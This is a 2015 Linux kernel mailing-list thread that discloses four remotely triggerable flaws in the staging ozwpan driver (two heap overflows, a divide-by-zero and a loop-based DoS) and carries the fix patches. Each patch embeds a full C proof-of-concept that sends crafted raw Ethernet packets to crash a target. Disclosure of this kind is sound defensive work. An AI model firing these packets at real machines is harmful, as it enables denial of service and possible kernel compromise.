* [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities
@ 2015-05-13 18:33 Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
` (4 more replies)
0 siblings, 5 replies; 10+ messages in thread
From: Jason A. Donenfeld @ 2015-05-13 18:33 UTC (permalink / raw)
To: shigekatsu.tateno, linux-kernel, netdev, oss-security; +Cc: Jason A. Donenfeld
The ozwpan driver accepts network packets, parses them, and converts
them into various USB functionality. There are numerous security
vulnerabilities in the handling of these packets. Two of them result in
a memcpy(kernel_buffer, network_packet, -length), one of them is a
divide-by-zero, and one of them is a loop that decrements -1 until it's
zero.
I've written a very simple proof-of-concept for each one of these
vulnerabilities to aid with detecting and fixing them. The general
operation of each proof-of-concept code is:
- Load the module with:
# insmod ozwpan.ko g_net_dev=eth0
- Compile the PoC with ozprotocol.h from the kernel tree:
$ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
$ gcc ./poc.c -o ./poc
- Run the PoC:
# ./poc eth0 [mac-address]
These PoCs should also be useful to the maintainers for testing out
constructing and sending various other types of malformed packets against
which this driver should be hardened.
Please assign CVEs for these vulnerabilities. I believe the first two
patches of this set can receive one CVE for both, and the remaining two
can receive one CVE each.
On a slightly related note, there are several other vulnerabilities in
this driver that are worth looking into. When ozwpan receives a packet,
it casts the packet into a variety of different structs, based on the
value of type and length parameters inside the packet. When making these
casts, and when reading bytes based on this length parameter, the actual
length of the packet in the socket buffer is never actually consulted. As
such, it's very likely that a packet could be sent that results in the
kernel reading memory in adjacent buffers, resulting in an information
leak, or from unpaged addresses, resulting in a crash. In the former case,
it may be possible with certain message types to actually send these
leaked adjacent bytes back to the sender of the packet. So, I'd highly
recommend the maintainers of this driver go branch-by-branch from the
initial rx function, adding checks to ensure all reads and casts are
within the bounds of the socket buffer.
Jason A. Donenfeld (4):
ozwpan: Use proper check to prevent heap overflow
ozwpan: Use unsigned ints to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS
drivers/staging/ozwpan/ozhcd.c | 8 ++++----
drivers/staging/ozwpan/ozusbif.h | 4 ++--
drivers/staging/ozwpan/ozusbsvc1.c | 11 +++++++++--
3 files changed, 15 insertions(+), 8 deletions(-)
--
2.3.6
^ permalink raw reply [flat|nested] 10+ messages in thread
* [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-13 18:33 [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
@ 2015-05-13 18:33 ` Jason A. Donenfeld
2015-05-15 15:02 ` David Laight
2015-05-13 18:33 ` [PATCH 2/4] ozwpan: Use unsigned ints " Jason A. Donenfeld
` (3 subsequent siblings)
4 siblings, 1 reply; 10+ messages in thread
From: Jason A. Donenfeld @ 2015-05-13 18:33 UTC (permalink / raw)
To: shigekatsu.tateno, linux-kernel, netdev, oss-security; +Cc: Jason A. Donenfeld
Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.
This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp) - 2
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(0),
.total_size = htole16(0),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index d434d8c..cd6c63e 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
case OZ_GET_DESC_RSP: {
struct oz_get_desc_rsp *body =
(struct oz_get_desc_rsp *)usb_hdr;
- int data_len = elt->length -
+ u8 data_len = elt->length -
sizeof(struct oz_get_desc_rsp) + 1;
+ if (data_len > elt->length)
+ break;
u16 offs = le16_to_cpu(get_unaligned(&body->offset));
u16 total_size =
le16_to_cpu(get_unaligned(&body->total_size));
--
2.3.6
^ permalink raw reply related [flat|nested] 10+ messages in thread
* [PATCH 2/4] ozwpan: Use unsigned ints to prevent heap overflow
2015-05-13 18:33 [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
@ 2015-05-13 18:33 ` Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 3/4] ozwpan: divide-by-zero leading to panic Jason A. Donenfeld
` (2 subsequent siblings)
4 siblings, 0 replies; 10+ messages in thread
From: Jason A. Donenfeld @ 2015-05-13 18:33 UTC (permalink / raw)
To: shigekatsu.tateno, linux-kernel, netdev, oss-security; +Cc: Jason A. Donenfeld
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozhcd.c | 8 ++++----
drivers/staging/ozwpan/ozusbif.h | 4 ++--
2 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/drivers/staging/ozwpan/ozhcd.c b/drivers/staging/ozwpan/ozhcd.c
index 5ff4716..784b5ec 100644
--- a/drivers/staging/ozwpan/ozhcd.c
+++ b/drivers/staging/ozwpan/ozhcd.c
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)
/*
* Context: softirq
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
- int length, int offset, int total_size)
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,
+ u8 length, u16 offset, u16 total_size)
{
struct oz_port *port = hport;
struct urb *urb;
@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
if (!urb)
return;
if (status == 0) {
- int copy_len;
- int required_size = urb->transfer_buffer_length;
+ unsigned int copy_len;
+ unsigned int required_size = urb->transfer_buffer_length;
if (required_size > total_size)
required_size = total_size;
diff --git a/drivers/staging/ozwpan/ozusbif.h b/drivers/staging/ozwpan/ozusbif.h
index 4249fa3..d2a6085 100644
--- a/drivers/staging/ozwpan/ozusbif.h
+++ b/drivers/staging/ozwpan/ozusbif.h
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);
/* Confirmation functions.
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status,
- const u8 *desc, int length, int offset, int total_size);
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status,
+ const u8 *desc, u8 length, u16 offset, u16 total_size);
void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode,
const u8 *data, int data_len);
--
2.3.6
^ permalink raw reply related [flat|nested] 10+ messages in thread
* [PATCH 3/4] ozwpan: divide-by-zero leading to panic
2015-05-13 18:33 [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 2/4] ozwpan: Use unsigned ints " Jason A. Donenfeld
@ 2015-05-13 18:33 ` Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 4/4] ozwpan: unchecked signed subtraction leads to DoS Jason A. Donenfeld
2015-05-13 18:43 ` [oss-security] [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Greg KH
4 siblings, 0 replies; 10+ messages in thread
From: Jason A. Donenfeld @ 2015-05-13 18:33 UTC (permalink / raw)
To: shigekatsu.tateno, linux-kernel, netdev, oss-security; +Cc: Jason A. Donenfeld
A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index cd6c63e..2e67956 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n = (len - sizeof(struct oz_multiple_fixed)+1)
+ int n;
+ if (!body->unit_size)
+ break;
+ n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
--
2.3.6
^ permalink raw reply related [flat|nested] 10+ messages in thread
* [PATCH 4/4] ozwpan: unchecked signed subtraction leads to DoS
2015-05-13 18:33 [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
` (2 preceding siblings ...)
2015-05-13 18:33 ` [PATCH 3/4] ozwpan: divide-by-zero leading to panic Jason A. Donenfeld
@ 2015-05-13 18:33 ` Jason A. Donenfeld
2015-05-13 18:43 ` [oss-security] [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Greg KH
4 siblings, 0 replies; 10+ messages in thread
From: Jason A. Donenfeld @ 2015-05-13 18:33 UTC (permalink / raw)
To: shigekatsu.tateno, linux-kernel, netdev, oss-security; +Cc: Jason A. Donenfeld
The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 2e67956..934a571 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n;
+ unsigned int n;
if (!body->unit_size)
break;
n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
+ if (n > len / body->unit_size)
+ break;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
data, body->unit_size);
--
2.3.6
^ permalink raw reply related [flat|nested] 10+ messages in thread
* Re: [oss-security] [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities
2015-05-13 18:33 [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
` (3 preceding siblings ...)
2015-05-13 18:33 ` [PATCH 4/4] ozwpan: unchecked signed subtraction leads to DoS Jason A. Donenfeld
@ 2015-05-13 18:43 ` Greg KH
2015-05-13 18:48 ` Jason A. Donenfeld
4 siblings, 1 reply; 10+ messages in thread
From: Greg KH @ 2015-05-13 18:43 UTC (permalink / raw)
To: oss-security; +Cc: shigekatsu.tateno, linux-kernel, netdev, Jason A. Donenfeld
On Wed, May 13, 2015 at 08:33:30PM +0200, Jason A. Donenfeld wrote:
> The ozwpan driver accepts network packets, parses them, and converts
> them into various USB functionality. There are numerous security
> vulnerabilities in the handling of these packets. Two of them result in
> a memcpy(kernel_buffer, network_packet, -length), one of them is a
> divide-by-zero, and one of them is a loop that decrements -1 until it's
> zero.
>
> I've written a very simple proof-of-concept for each one of these
> vulnerabilities to aid with detecting and fixing them. The general
> operation of each proof-of-concept code is:
>
> - Load the module with:
> # insmod ozwpan.ko g_net_dev=eth0
> - Compile the PoC with ozprotocol.h from the kernel tree:
> $ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
> $ gcc ./poc.c -o ./poc
> - Run the PoC:
> # ./poc eth0 [mac-address]
>
> These PoCs should also be useful to the maintainers for testing out
> constructing and sending various other types of malformed packets against
> which this driver should be hardened.
>
> Please assign CVEs for these vulnerabilities. I believe the first two
> patches of this set can receive one CVE for both, and the remaining two
> can receive one CVE each.
>
>
> On a slightly related note, there are several other vulnerabilities in
> this driver that are worth looking into. When ozwpan receives a packet,
> it casts the packet into a variety of different structs, based on the
> value of type and length parameters inside the packet. When making these
> casts, and when reading bytes based on this length parameter, the actual
> length of the packet in the socket buffer is never actually consulted. As
> such, it's very likely that a packet could be sent that results in the
> kernel reading memory in adjacent buffers, resulting in an information
> leak, or from unpaged addresses, resulting in a crash. In the former case,
> it may be possible with certain message types to actually send these
> leaked adjacent bytes back to the sender of the packet. So, I'd highly
> recommend the maintainers of this driver go branch-by-branch from the
> initial rx function, adding checks to ensure all reads and casts are
> within the bounds of the socket buffer.
>
> Jason A. Donenfeld (4):
> ozwpan: Use proper check to prevent heap overflow
> ozwpan: Use unsigned ints to prevent heap overflow
> ozwpan: divide-by-zero leading to panic
> ozwpan: unchecked signed subtraction leads to DoS
>
> drivers/staging/ozwpan/ozhcd.c | 8 ++++----
